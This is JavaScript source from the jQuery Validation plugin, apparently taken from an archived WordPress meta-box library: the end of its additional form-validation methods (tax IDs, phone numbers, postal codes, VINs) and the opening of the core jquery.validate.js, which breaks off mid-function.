
	var nieRegEx = new RegExp( /^[MXYZ]{1}[0-9]{7,8}[TRWAGMYFPDXBNJZSQVHLCKET]{1}$/gi );
	var validChars = "TRWAGMYFPDXBNJZSQVHLCKET",
		letter = value.substr( value.length - 1 ).toUpperCase(),
		number;

	value = value.toString().toUpperCase();

	// Quick format test
	if ( value.length > 10 || value.length < 9 || !nieRegEx.test( value ) ) {
		return false;
	}

	// X means same number
	// Y means number + 10000000
	// Z means number + 20000000
	value = value.replace( /^[X]/, "0" )
		.replace( /^[Y]/, "1" )
		.replace( /^[Z]/, "2" );

	number = value.length === 9 ? value.substr( 0, 8 ) : value.substr( 0, 9 );

	return validChars.charAt( parseInt( number, 10 ) % 23 ) === letter;

}, "Please specify a valid NIE number." );

/*
 * The Número de Identificación Fiscal ( NIF ) is the way tax identification used in Spain for individuals
 */
$.validator.addMethod( "nifES", function( value, element ) {
	"use strict";

	if ( this.optional( element ) ) {
		return true;
	}

	value = value.toUpperCase();

	// Basic format test
	if ( !value.match( "((^[A-Z]{1}[0-9]{7}[A-Z0-9]{1}$|^[T]{1}[A-Z0-9]{8}$)|^[0-9]{8}[A-Z]{1}$)" ) ) {
		return false;
	}

	// Test NIF
	if ( /^[0-9]{8}[A-Z]{1}$/.test( value ) ) {
		return ( "TRWAGMYFPDXBNJZSQVHLCKE".charAt( value.substring( 8, 0 ) % 23 ) === value.charAt( 8 ) );
	}

	// Test specials NIF (starts with K, L or M)
	if ( /^[KLM]{1}/.test( value ) ) {
		return ( value[ 8 ] === "TRWAGMYFPDXBNJZSQVHLCKE".charAt( value.substring( 8, 1 ) % 23 ) );
	}

	return false;

}, "Please specify a valid NIF number." );

/*
 * Numer identyfikacji podatkowej ( NIP ) is the way tax identification used in Poland for companies
 */
$.validator.addMethod( "nipPL", function( value ) {
	"use strict";

	value = value.replace( /[^0-9]/g, "" );

	if ( value.length !== 10 ) {
		return false;
	}

	var arrSteps = [ 6, 5, 7, 2, 3, 4, 5, 6, 7 ];
	var intSum = 0;
	for ( var i = 0; i < 9; i++ ) {
		intSum += arrSteps[ i ] * value[ i ];
	}
	var int2 = intSum % 11;
	var intControlNr = ( int2 === 10 ) ? 0 : int2;

	return ( intControlNr === parseInt( value[ 9 ], 10 ) );
}, "Please specify a valid NIP number." );

/**
 * Created for project jquery-validation.
 * @Description Brazillian PIS or NIS number (Número de Identificação Social Pis ou Pasep) is the equivalent of a
 * Brazilian tax registration number NIS of PIS numbers have 11 digits in total: 10 numbers followed by 1 check numbers
 * that are being used for validation.
 * @copyright (c) 21/08/2018 13:14, Cleiton da Silva Mendonça
 * @author Cleiton da Silva Mendonça <cleiton.mendonca@gmail.com>
 * @link http://gitlab.com/csmendonca Gitlab of Cleiton da Silva Mendonça
 * @link http://github.com/csmendonca Github of Cleiton da Silva Mendonça
 */
$.validator.addMethod( "nisBR", function( value ) {
	var number;
	var cn;
	var sum = 0;
	var dv;
	var count;
	var multiplier;

	// Removing special characters from value
	value = value.replace( /([~!@#$%^&*()_+=`{}\[\]\-|\\:;'<>,.\/? ])+/g, "" );

	// Checking value to have 11 digits only
	if ( value.length !== 11 ) {
		return false;
	}

	//Get check number of value
	cn = parseInt( value.substring( 10, 11 ), 10 );

	//Get number with 10 digits of the value
	number = parseInt( value.substring( 0, 10 ), 10 );

	for ( count = 2; count < 12; count++ ) {
		multiplier = count;
		if ( count === 10 ) {
			multiplier = 2;
		}
		if ( count === 11 ) {
			multiplier = 3;
		}
		sum += ( ( number % 10 ) * multiplier );
		number = parseInt( number / 10, 10 );
	}
	dv = ( sum % 11 );

	if ( dv > 1 ) {
		dv = ( 11 - dv );
	} else {
		dv = 0;
	}

	if ( cn === dv ) {
		return true;
	} else {
		return false;
	}
}, "Please specify a valid NIS/PIS number." );

$.validator.addMethod( "notEqualTo", function( value, element, param ) {
	return this.optional( element ) || !$.validator.methods.equalTo.call( this, value, element, param );
}, "Please enter a different value, values must not be the same." );

$.validator.addMethod( "nowhitespace", function( value, element ) {
	return this.optional( element ) || /^\S+$/i.test( value );
}, "No white space please." );

/**
* Return true if the field value matches the given format RegExp
*
* @example $.validator.methods.pattern("AR1004",element,/^AR\d{4}$/)
* @result true
*
* @example $.validator.methods.pattern("BR1004",element,/^AR\d{4}$/)
* @result false
*
* @name $.validator.methods.pattern
* @type Boolean
* @cat Plugins/Validate/Methods
*/
$.validator.addMethod( "pattern", function( value, element, param ) {
	if ( this.optional( element ) ) {
		return true;
	}
	if ( typeof param === "string" ) {
		param = new RegExp( "^(?:" + param + ")$" );
	}
	return param.test( value );
}, "Invalid format." );

/**
 * Dutch phone numbers have 10 digits (or 11 and start with +31).
 */
$.validator.addMethod( "phoneNL", function( value, element ) {
	return this.optional( element ) || /^((\+|00(\s|\s?\-\s?)?)31(\s|\s?\-\s?)?(\(0\)[\-\s]?)?|0)[1-9]((\s|\s?\-\s?)?[0-9]){8}$/.test( value );
}, "Please specify a valid phone number." );

/**
 * Polish telephone numbers have 9 digits.
 *
 * Mobile phone numbers starts with following digits:
 * 45, 50, 51, 53, 57, 60, 66, 69, 72, 73, 78, 79, 88.
 *
 * Fixed-line numbers starts with area codes:
 * 12, 13, 14, 15, 16, 17, 18, 22, 23, 24, 25, 29, 32, 33,
 * 34, 41, 42, 43, 44, 46, 48, 52, 54, 55, 56, 58, 59, 61,
 * 62, 63, 65, 67, 68, 71, 74, 75, 76, 77, 81, 82, 83, 84,
 * 85, 86, 87, 89, 91, 94, 95.
 *
 * Ministry of National Defence numbers and VoIP numbers starts with 26 and 39.
 *
 * Excludes intelligent networks (premium rate, shared cost, free phone numbers).
 *
 * Poland National Numbering Plan http://www.itu.int/oth/T02020000A8/en
 */
$.validator.addMethod( "phonePL", function( phone_number, element ) {
	phone_number = phone_number.replace( /\s+/g, "" );
	var regexp = /^(?:(?:(?:\+|00)?48)|(?:\(\+?48\)))?(?:1[2-8]|2[2-69]|3[2-49]|4[1-68]|5[0-9]|6[0-35-9]|[7-8][1-9]|9[145])\d{7}$/;
	return this.optional( element ) || regexp.test( phone_number );
}, "Please specify a valid phone number." );

/* For UK phone functions, do the following server side processing:
 * Compare original input with this RegEx pattern:
 * ^\(?(?:(?:00\)?[\s\-]?\(?|\+)(44)\)?[\s\-]?\(?(?:0\)?[\s\-]?\(?)?|0)([1-9]\d{1,4}\)?[\s\d\-]+)$
 * Extract $1 and set $prefix to '+44<space>' if $1 is '44', otherwise set $prefix to '0'
 * Extract $2 and remove hyphens, spaces and parentheses. Phone number is combined $prefix and $2.
 * A number of very detailed GB telephone number RegEx patterns can also be found at:
 * http://www.aa-asterisk.org.uk/index.php/Regular_Expressions_for_Validating_and_Formatting_GB_Telephone_Numbers
 */

// Matches UK landline + mobile, accepting only 01-3 for landline or 07 for mobile to exclude many premium numbers
$.validator.addMethod( "phonesUK", function( phone_number, element ) {
	phone_number = phone_number.replace( /\(|\)|\s+|-/g, "" );
	return this.optional( element ) || phone_number.length > 9 &&
		phone_number.match( /^(?:(?:(?:00\s?|\+)44\s?|0)(?:1\d{8,9}|[23]\d{9}|7(?:[1345789]\d{8}|624\d{6})))$/ );
}, "Please specify a valid uk phone number." );

/* For UK phone functions, do the following server side processing:
 * Compare original input with this RegEx pattern:
 * ^\(?(?:(?:00\)?[\s\-]?\(?|\+)(44)\)?[\s\-]?\(?(?:0\)?[\s\-]?\(?)?|0)([1-9]\d{1,4}\)?[\s\d\-]+)$
 * Extract $1 and set $prefix to '+44<space>' if $1 is '44', otherwise set $prefix to '0'
 * Extract $2 and remove hyphens, spaces and parentheses. Phone number is combined $prefix and $2.
 * A number of very detailed GB telephone number RegEx patterns can also be found at:
 * http://www.aa-asterisk.org.uk/index.php/Regular_Expressions_for_Validating_and_Formatting_GB_Telephone_Numbers
 */
$.validator.addMethod( "phoneUK", function( phone_number, element ) {
	phone_number = phone_number.replace( /\(|\)|\s+|-/g, "" );
	return this.optional( element ) || phone_number.length > 9 &&
		phone_number.match( /^(?:(?:(?:00\s?|\+)44\s?)|(?:\(?0))(?:\d{2}\)?\s?\d{4}\s?\d{4}|\d{3}\)?\s?\d{3}\s?\d{3,4}|\d{4}\)?\s?(?:\d{5}|\d{3}\s?\d{3})|\d{5}\)?\s?\d{4,5})$/ );
}, "Please specify a valid phone number." );

/**
 * Matches US phone number format
 *
 * where the area code may not start with 1 and the prefix may not start with 1
 * allows '-' or ' ' as a separator and allows parens around area code
 * some people may want to put a '1' in front of their number
 *
 * 1(212)-999-2345 or
 * 212 999 2344 or
 * 212-999-0983
 *
 * but not
 * 111-123-5434
 * and not
 * 212 123 4567
 */
$.validator.addMethod( "phoneUS", function( phone_number, element ) {
	phone_number = phone_number.replace( /\s+/g, "" );
	return this.optional( element ) || phone_number.length > 9 &&
		phone_number.match( /^(\+?1-?)?(\([2-9]([02-9]\d|1[02-9])\)|[2-9]([02-9]\d|1[02-9]))-?[2-9]\d{2}-?\d{4}$/ );
}, "Please specify a valid phone number." );

/*
* Valida CEPs do brasileiros:
*
* Formatos aceitos:
* 99999-999
* 99.999-999
* 99999999
*/
$.validator.addMethod( "postalcodeBR", function( cep_value, element ) {
	return this.optional( element ) || /^\d{2}.\d{3}-\d{3}?$|^\d{5}-?\d{3}?$/.test( cep_value );
}, "Informe um CEP válido." );

/**
 * Matches a valid Canadian Postal Code
 *
 * @example jQuery.validator.methods.postalCodeCA( "H0H 0H0", element )
 * @result true
 *
 * @example jQuery.validator.methods.postalCodeCA( "H0H0H0", element )
 * @result false
 *
 * @name jQuery.validator.methods.postalCodeCA
 * @type Boolean
 * @cat Plugins/Validate/Methods
 */
$.validator.addMethod( "postalCodeCA", function( value, element ) {
	return this.optional( element ) || /^[ABCEGHJKLMNPRSTVXY]\d[ABCEGHJKLMNPRSTVWXYZ] *\d[ABCEGHJKLMNPRSTVWXYZ]\d$/i.test( value );
}, "Please specify a valid postal code." );

/* Matches Italian postcode (CAP) */
$.validator.addMethod( "postalcodeIT", function( value, element ) {
	return this.optional( element ) || /^\d{5}$/.test( value );
}, "Please specify a valid postal code." );

$.validator.addMethod( "postalcodeNL", function( value, element ) {
	return this.optional( element ) || /^[1-9][0-9]{3}\s?[a-zA-Z]{2}$/.test( value );
}, "Please specify a valid postal code." );

// Matches UK postcode. Does not match to UK Channel Islands that have their own postcodes (non standard UK)
$.validator.addMethod( "postcodeUK", function( value, element ) {
	return this.optional( element ) || /^((([A-PR-UWYZ][0-9])|([A-PR-UWYZ][0-9][0-9])|([A-PR-UWYZ][A-HK-Y][0-9])|([A-PR-UWYZ][A-HK-Y][0-9][0-9])|([A-PR-UWYZ][0-9][A-HJKSTUW])|([A-PR-UWYZ][A-HK-Y][0-9][ABEHMNPRVWXY]))\s?([0-9][ABD-HJLNP-UW-Z]{2})|(GIR)\s?(0AA))$/i.test( value );
}, "Please specify a valid UK postcode." );

/*
 * Lets you say "at least X inputs that match selector Y must be filled."
 *
 * The end result is that neither of these inputs:
 *
 *	<input class="productinfo" name="partnumber">
 *	<input class="productinfo" name="description">
 *
 *	...will validate unless at least one of them is filled.
 *
 * partnumber:	{require_from_group: [1,".productinfo"]},
 * description: {require_from_group: [1,".productinfo"]}
 *
 * options[0]: number of fields that must be filled in the group
 * options[1]: CSS selector that defines the group of conditionally required fields
 */
$.validator.addMethod( "require_from_group", function( value, element, options ) {
	var $fields = $( options[ 1 ], element.form ),
		$fieldsFirst = $fields.eq( 0 ),
		validator = $fieldsFirst.data( "valid_req_grp" ) ? $fieldsFirst.data( "valid_req_grp" ) : $.extend( {}, this ),
		isValid = $fields.filter( function() {
			return validator.elementValue( this );
		} ).length >= options[ 0 ];

	// Store the cloned validator for future validation
	$fieldsFirst.data( "valid_req_grp", validator );

	// If element isn't being validated, run each require_from_group field's validation rules
	if ( !$( element ).data( "being_validated" ) ) {
		$fields.data( "being_validated", true );
		$fields.each( function() {
			validator.element( this );
		} );
		$fields.data( "being_validated", false );
	}
	return isValid;
}, $.validator.format( "Please fill at least {0} of these fields." ) );

/*
 * Lets you say "either at least X inputs that match selector Y must be filled,
 * OR they must all be skipped (left blank)."
 *
 * The end result, is that none of these inputs:
 *
 *	<input class="productinfo" name="partnumber">
 *	<input class="productinfo" name="description">
 *	<input class="productinfo" name="color">
 *
 *	...will validate unless either at least two of them are filled,
 *	OR none of them are.
 *
 * partnumber:	{skip_or_fill_minimum: [2,".productinfo"]},
 * description: {skip_or_fill_minimum: [2,".productinfo"]},
 * color:		{skip_or_fill_minimum: [2,".productinfo"]}
 *
 * options[0]: number of fields that must be filled in the group
 * options[1]: CSS selector that defines the group of conditionally required fields
 *
 */
$.validator.addMethod( "skip_or_fill_minimum", function( value, element, options ) {
	var $fields = $( options[ 1 ], element.form ),
		$fieldsFirst = $fields.eq( 0 ),
		validator = $fieldsFirst.data( "valid_skip" ) ? $fieldsFirst.data( "valid_skip" ) : $.extend( {}, this ),
		numberFilled = $fields.filter( function() {
			return validator.elementValue( this );
		} ).length,
		isValid = numberFilled === 0 || numberFilled >= options[ 0 ];

	// Store the cloned validator for future validation
	$fieldsFirst.data( "valid_skip", validator );

	// If element isn't being validated, run each skip_or_fill_minimum field's validation rules
	if ( !$( element ).data( "being_validated" ) ) {
		$fields.data( "being_validated", true );
		$fields.each( function() {
			validator.element( this );
		} );
		$fields.data( "being_validated", false );
	}
	return isValid;
}, $.validator.format( "Please either skip these fields or fill at least {0} of them." ) );

/* Validates US States and/or Territories by @jdforsythe
 * Can be case insensitive or require capitalization - default is case insensitive
 * Can include US Territories or not - default does not
 * Can include US Military postal abbreviations (AA, AE, AP) - default does not
 *
 * Note: "States" always includes DC (District of Colombia)
 *
 * Usage examples:
 *
 *  This is the default - case insensitive, no territories, no military zones
 *  stateInput: {
 *     caseSensitive: false,
 *     includeTerritories: false,
 *     includeMilitary: false
 *  }
 *
 *  Only allow capital letters, no territories, no military zones
 *  stateInput: {
 *     caseSensitive: false
 *  }
 *
 *  Case insensitive, include territories but not military zones
 *  stateInput: {
 *     includeTerritories: true
 *  }
 *
 *  Only allow capital letters, include territories and military zones
 *  stateInput: {
 *     caseSensitive: true,
 *     includeTerritories: true,
 *     includeMilitary: true
 *  }
 *
 */
$.validator.addMethod( "stateUS", function( value, element, options ) {
	var isDefault = typeof options === "undefined",
		caseSensitive = ( isDefault || typeof options.caseSensitive === "undefined" ) ? false : options.caseSensitive,
		includeTerritories = ( isDefault || typeof options.includeTerritories === "undefined" ) ? false : options.includeTerritories,
		includeMilitary = ( isDefault || typeof options.includeMilitary === "undefined" ) ? false : options.includeMilitary,
		regex;

	if ( !includeTerritories && !includeMilitary ) {
		regex = "^(A[KLRZ]|C[AOT]|D[CE]|FL|GA|HI|I[ADLN]|K[SY]|LA|M[ADEINOST]|N[CDEHJMVY]|O[HKR]|PA|RI|S[CD]|T[NX]|UT|V[AT]|W[AIVY])$";
	} else if ( includeTerritories && includeMilitary ) {
		regex = "^(A[AEKLPRSZ]|C[AOT]|D[CE]|FL|G[AU]|HI|I[ADLN]|K[SY]|LA|M[ADEINOPST]|N[CDEHJMVY]|O[HKR]|P[AR]|RI|S[CD]|T[NX]|UT|V[AIT]|W[AIVY])$";
	} else if ( includeTerritories ) {
		regex = "^(A[KLRSZ]|C[AOT]|D[CE]|FL|G[AU]|HI|I[ADLN]|K[SY]|LA|M[ADEINOPST]|N[CDEHJMVY]|O[HKR]|P[AR]|RI|S[CD]|T[NX]|UT|V[AIT]|W[AIVY])$";
	} else {
		regex = "^(A[AEKLPRZ]|C[AOT]|D[CE]|FL|GA|HI|I[ADLN]|K[SY]|LA|M[ADEINOST]|N[CDEHJMVY]|O[HKR]|PA|RI|S[CD]|T[NX]|UT|V[AT]|W[AIVY])$";
	}

	regex = caseSensitive ? new RegExp( regex ) : new RegExp( regex, "i" );
	return this.optional( element ) || regex.test( value );
}, "Please specify a valid state." );

// TODO check if value starts with <, otherwise don't try stripping anything
$.validator.addMethod( "strippedminlength", function( value, element, param ) {
	return $( value ).text().length >= param;
}, $.validator.format( "Please enter at least {0} characters." ) );

$.validator.addMethod( "time", function( value, element ) {
	return this.optional( element ) || /^([01]\d|2[0-3]|[0-9])(:[0-5]\d){1,2}$/.test( value );
}, "Please enter a valid time, between 00:00 and 23:59." );

$.validator.addMethod( "time12h", function( value, element ) {
	return this.optional( element ) || /^((0?[1-9]|1[012])(:[0-5]\d){1,2}(\ ?[AP]M))$/i.test( value );
}, "Please enter a valid time in 12-hour am/pm format." );

// Same as url, but TLD is optional
$.validator.addMethod( "url2", function( value, element ) {
	return this.optional( element ) || /^(?:(?:(?:https?|ftp):)?\/\/)(?:(?:[^\]\[?\/<~#`!@$^&*()+=}|:";',>{ ]|%[0-9A-Fa-f]{2})+(?::(?:[^\]\[?\/<~#`!@$^&*()+=}|:";',>{ ]|%[0-9A-Fa-f]{2})*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-9\u00a1-\uffff_-]{0,62})?[a-z0-9\u00a1-\uffff]\.)+(?:[a-z\u00a1-\uffff]{2,}\.?)|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-9\u00a1-\uffff_-]{0,62})?[a-z0-9\u00a1-\uffff])|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-9\u00a1-\uffff_-]{0,62}\.)))(?::\d{2,5})?(?:[/?#]\S*)?$/i.test( value );
}, $.validator.messages.url );

/**
 * Return true, if the value is a valid vehicle identification number (VIN).
 *
 * Works with all kind of text inputs.
 *
 * @example <input type="text" size="20" name="VehicleID" class="{required:true,vinUS:true}" />
 * @desc Declares a required input element whose value must be a valid vehicle identification number.
 *
 * @name $.validator.methods.vinUS
 * @type Boolean
 * @cat Plugins/Validate/Methods
 */
$.validator.addMethod( "vinUS", function( v ) {
    if ( v.length !== 17 ) {
        return false;
    }

    var LL = [ "A", "B", "C", "D", "E", "F", "G", "H", "J", "K", "L", "M", "N", "P", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ],
        VL = [ 1, 2, 3, 4, 5, 6, 7, 8, 1, 2, 3, 4, 5, 7, 9, 2, 3, 4, 5, 6, 7, 8, 9 ],
        FL = [ 8, 7, 6, 5, 4, 3, 2, 10, 0, 9, 8, 7, 6, 5, 4, 3, 2 ],
        rs = 0,
        i, n, d, f, cd, cdv;

    for ( i = 0; i < 17; i++ ) {
        f = FL[ i ];
        d = v.slice( i, i + 1 );
        if ( isNaN( d ) ) {
            d = d.toUpperCase();
            n = VL[ LL.indexOf( d ) ];
        } else {
            n = parseInt( d, 10 );
        }
        if ( i === 8 )
        {
            cdv = n;
            if ( d === "X" ) {
                cdv = 10;
            }
        }
        rs += n * f;
    }
    cd = rs % 11;
    if ( cd === cdv ) {
        return true;
    }
    return false;
}, "The specified vehicle identification number (VIN) is invalid." );

$.validator.addMethod( "zipcodeUS", function( value, element ) {
	return this.optional( element ) || /^\d{5}(-\d{4})?$/.test( value );
}, "The specified US ZIP Code is invalid." );

$.validator.addMethod( "ziprange", function( value, element ) {
	return this.optional( element ) || /^90[2-5]\d\{2\}-\d{4}$/.test( value );
}, "Your ZIP-code must be in the range 902xx-xxxx to 905xx-xxxx." );
return $;
}));PK     0w\3z    7  dashboard/lib/meta-box/js/validation/jquery.validate.jsnu [        /*!
 * jQuery Validation Plugin v1.20.0
 *
 * https://jqueryvalidation.org/
 *
 * Copyright (c) 2023 Jörn Zaefferer
 * Released under the MIT license
 */
(function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

$.extend( $.fn, {

	// https://jqueryvalidation.org/validate/
	validate: function( options ) {

		// If nothing is selected, return nothing; can't chain anyway
		if ( !this.length ) {
			if ( options && options.debug && window.console ) {
				console.warn( "Nothing selected, can't validate, returning nothing." );
			}
			return;
		}

		// Check if a validator for this form was already created
		var validator = $.data( this[ 0 ], "validator" );
		if ( validator ) {
			return validator;
		}

		// Add novalidate tag if HTML5.
		this.attr( "novalidate", "novalidate" );

		validator = new $.validator( options, this[ 0 ] );
		$.data( this[ 0 ], "validator", validator );

		if ( validator.settings.onsubmit ) {

			this.on( "click.validate", ":submit", function( event ) {

				// Track the used submit button to properly handle scripted
				// submits later.
				validator.submitButton = event.currentTarget;

				// Allow suppressing validation by adding a cancel class to the submit button
				if ( $( this ).hasClass( "cancel" ) ) {
					validator.cancelSubmit = true;
				}

				// Allow suppressing validation by adding the html5 formnovalidate attribute to the submit button
				if ( $( this ).attr( "formnovalidate" ) !== undefined ) {
					validator.cancelSubmit = true;
				}
			} );

			// Validate the form on submit
			this.on( "submit.validate", function( event ) {
				if ( validator.settings.debug ) {

					// Prevent form submit to be able to see console output
					event.preventDefault();
				}

				function handle() {
					var hidden, result;

					// Insert a hidden input as a replacement for the missing submit button
					// The hidden input is inserted in two cases:
					//   - A user defined a `submitHandler`
					//   - There was a pending request due to `remote` method and `stopRequest()`
					//     was called to submit the form in case it's valid
					if ( validator.submitButton && ( validator.settings.submitHandler || validator.formSubmitted ) ) {
						hidden = $( "<input type='hidden'/>" )
							.attr( "name", validator.submitButton.name )
							.val( $( validator.submitButton ).val() )
							.appendTo( validator.currentForm );
					}

					if ( validator.settings.submitHandler && !validator.settings.debug ) {
						result = validator.settings.submitHandler.call( validator, validator.currentForm, event );
						if ( hidden ) {

							// And clean up afterwards; thanks to no-block-scope, hidden can be referenced
							hidden.remove();
						}
						if ( result !== undefined ) {
							return result;
						}
						return false;
					}
					return true;
				}

				// Prevent submit for invalid forms or custom submit handlers
				if ( validator.cancelSubmit ) {
					validator.cancelSubmit = false;
					return handle();
				}
				if ( validator.form() ) {
					if ( validator.pendingRequest ) {
						validator.formSubmitted = true;
						return false;
					}
					return handle();
				} else {
					validator.focusInvalid();
					return false;
				}
			} );
		}

		return validator;
	},

	// https://jqueryvalidation.org/valid/
	valid: function() {
		var valid, validator, errorList;

		if ( $( this[ 0 ] ).is( "form" ) ) {
			valid = this.validate().form();
		} else {
			errorList = [];
			valid = true;
			validator = $( this[ 0 ].form ).validate();
			this.each( function() {
				valid = validator.element( this ) && valid;
				if ( !valid ) {
					errorList = errorList.concat( validator.errorList );
				}
			} );
			validator.errorList = errorList;
		}
		return valid;
	},

	// https://jqueryvalidation.org/rules/
	rules: function( command, argument ) {
		var element = this[ 0 ],
			isContentEditable = typeof this.attr( "contenteditable" ) !== "undefined" && this.attr( "contenteditable" ) !== "false",
			settings, staticRules, existingRules, data, param, filtered;

		// If nothing is selected, return empty object; can't chain anyway
		if ( element == null ) {
			return;
		}

		if ( !element.form && isContentEditable ) {
			element.form = this.closest( "form" )[ 0 ];
			element.name = this.attr( "name" );
		}

		if ( element.form == null ) {
			return;
		}

		if ( command ) {
			settings = $.data( element.form, "validator" ).settings;
			staticRules = settings.rules;
			existingRules = $.validator.staticRules( element );
			switch ( command ) {
			case "add":
				$.extend( existingRules, $.validator.normalizeRule( argument ) );

				// Remove messages from rules, but allow them to be set separately
				delete existingRules.messages;
				staticRules[ element.name ] = existingRules;
				if ( argument.messages ) {
					settings.messages[ element.name ] = $.extend( settings.messages[ element.name ], argument.messages );
				}
				break;
			case "remove":
				if ( !argument ) {
					delete staticRules[ element.name ];
					return existingRules;
				}
				filtered = {};
				$.each( argument.split( /\s/ ), function( index, method ) {
					filtered[ method ] = existingRules[ method ];
					delete existingRules[ method ];
				} );
				return filtered;
			}
		}

		data = $.validator.normalizeRules(
		$.extend(
			{},
			$.validator.classRules( element ),
			$.validator.attributeRules( element ),
			$.validator.dataRules( element ),
			$.validator.staticRules( element )
		), element );

		// Make sure required is at front
		if ( data.required ) {
			param = data.required;
			delete data.required;
			data = $.extend( { required: param }, data );
		}

		// Make sure remote is at back
		if ( data.remote ) {
			param = data.remote;
			delete data.remote;
			data = $.extend( data, { remote: param } );
		}

		return data;
	}
} );

// JQuery trim is deprecated, provide a trim method based on String.prototype.trim
var trim = function( str ) {

	// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/trim#Polyfill
	return str.replace( /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, "" );
};

// Custom selectors
$.extend( $.expr.pseudos || $.expr[ ":" ], {		// '|| $.expr[ ":" ]' here enables backwards compatibility to jQuery 1.7. Can be removed when dropping jQ 1.7.x support

	// https://jqueryvalidation.org/blank-selector/
	blank: function( a ) {
		return !trim( "" + $( a ).val() );
	},

	// https://jqueryvalidation.org/filled-selector/
	filled: function( a ) {
		var val = $( a ).val();
		return val !== null && !!trim( "" + val );
	},

	// https://jqueryvalidation.org/unchecked-selector/
	unchecked: function( a ) {
		return !$( a ).prop( "checked" );
	}
} );

// Constructor for validator
$.validator = function( options, form ) {
	this.settings = $.extend( true, {}, $.validator.defaults, options );
	this.currentForm = form;
	this.init();
};

// https://jqueryvalidation.org/jQuery.validator.format/
$.validator.format = function( source, params ) {
	if ( arguments.length === 1 ) {
		return function() {
			var args = $.makeArray( arguments );
			args.unshift( source );
			return $.validator.format.apply( this, args );
		};
	}
	if ( params === undefined ) {
		return source;
	}
	if ( arguments.length > 2 && params.constructor !== Array  ) {
		params = $.makeArray( arguments ).slice( 1 );
	}
	if ( params.constructor !== Array ) {
		params = [ params ];
	}
	$.each( params, function( i, n ) {
		source = source.replace( new RegExp( "\\{" + i + "\\}", "g" ), function() {
			return n;
		} );
	} );
	return source;
};

$.extend( $.validator, {

	defaults: {
		messages: {},
		groups: {},
		rules: {},
		errorClass: "error",
		pendingClass: "pending",
		validClass: "valid",
		errorElement: "label",
		focusCleanup: false,
		focusInvalid: true,
		errorContainer: $( [] ),
		errorLabelContainer: $( [] ),
		onsubmit: true,
		ignore: ":hidden",
		ignoreTitle: false,
		onfocusin: function( element ) {
			this.lastActive = element;

			// Hide error label and remove error class on focus if enabled
			if ( this.settings.focusCleanup ) {
				if ( this.settings.unhighlight ) {
					this.settings.unhighlight.call( this, element, this.settings.errorClass, this.settings.validClass );
				}
				this.hideThese( this.errorsFor( element ) );
			}
		},
		onfocusout: function( element ) {
			if ( !this.checkable( element ) && ( element.name in this.submitted || !this.optional( element ) ) ) {
				this.element( element );
			}
		},
		onkeyup: function( element, event ) {

			// Avoid revalidate the field when pressing one of the following keys
			// Shift       => 16
			// Ctrl        => 17
			// Alt         => 18
			// Caps lock   => 20
			// End         => 35
			// Home        => 36
			// Left arrow  => 37
			// Up arrow    => 38
			// Right arrow => 39
			// Down arrow  => 40
			// Insert      => 45
			// Num lock    => 144
			// AltGr key   => 225
			var excludedKeys = [
				16, 17, 18, 20, 35, 36, 37,
				38, 39, 40, 45, 144, 225
			];

			if ( event.which === 9 && this.elementValue( element ) === "" || $.inArray( event.keyCode, excludedKeys ) !== -1 ) {
				return;
			} else if ( element.name in this.submitted || element.name in this.invalid ) {
				this.element( element );
			}
		},
		onclick: function( element ) {

			// Click on selects, radiobuttons and checkboxes
			if ( element.name in this.submitted ) {
				this.element( element );

			// Or option elements, check parent select in that case
			} else if ( element.parentNode.name in this.submitted ) {
				this.element( element.parentNode );
			}
		},
		highlight: function( element, errorClass, validClass ) {
			if ( element.type === "radio" ) {
				this.findByName( element.name ).addClass( errorClass ).removeClass( validClass );
			} else {
				$( element ).addClass( errorClass ).removeClass( validClass );
			}
		},
		unhighlight: function( element, errorClass, validClass ) {
			if ( element.type === "radio" ) {
				this.findByName( element.name ).removeClass( errorClass ).addClass( validClass );
			} else {
				$( element ).removeClass( errorClass ).addClass( validClass );
			}
		}
	},

	// https://jqueryvalidation.org/jQuery.validator.setDefaults/
	setDefaults: function( settings ) {
		$.extend( $.validator.defaults, settings );
	},

	messages: {
		required: "This field is required.",
		remote: "Please fix this field.",
		email: "Please enter a valid email address.",
		url: "Please enter a valid URL.",
		date: "Please enter a valid date.",
		dateISO: "Please enter a valid date (ISO).",
		number: "Please enter a valid number.",
		digits: "Please enter only digits.",
		equalTo: "Please enter the same value again.",
		maxlength: $.validator.format( "Please enter no more than {0} characters." ),
		minlength: $.validator.format( "Please enter at least {0} characters." ),
		rangelength: $.validator.format( "Please enter a value between {0} and {1} characters long." ),
		range: $.validator.format( "Please enter a value between {0} and {1}." ),
		max: $.validator.format( "Please enter a value less than or equal to {0}." ),
		min: $.validator.format( "Please enter a value greater than or equal to {0}." ),
		step: $.validator.format( "Please enter a multiple of {0}." )
	},

	autoCreateRanges: false,

	prototype: {

		init: function() {
			this.labelContainer = $( this.settings.errorLabelContainer );
			this.errorContext = this.labelContainer.length && this.labelContainer || $( this.currentForm );
			this.containers = $( this.settings.errorContainer ).add( this.settings.errorLabelContainer );
			this.submitted = {};
			this.valueCache = {};
			this.pendingRequest = 0;
			this.pending = {};
			this.invalid = {};
			this.reset();

			var currentForm = this.currentForm,
				groups = ( this.groups = {} ),
				rules;
			$.each( this.settings.groups, function( key, value ) {
				if ( typeof value === "string" ) {
					value = value.split( /\s/ );
				}
				$.each( value, function( index, name ) {
					groups[ name ] = key;
				} );
			} );
			rules = this.settings.rules;
			$.each( rules, function( key, value ) {
				rules[ key ] = $.validator.normalizeRule( value );
			} );

			function delegate( event ) {
				var isContentEditable = typeof $( this ).attr( "contenteditable" ) !== "undefined" && $( this ).attr( "contenteditable" ) !== "false";

				// Set form expando on contenteditable
				if ( !this.form && isContentEditable ) {
					this.form = $( this ).closest( "form" )[ 0 ];
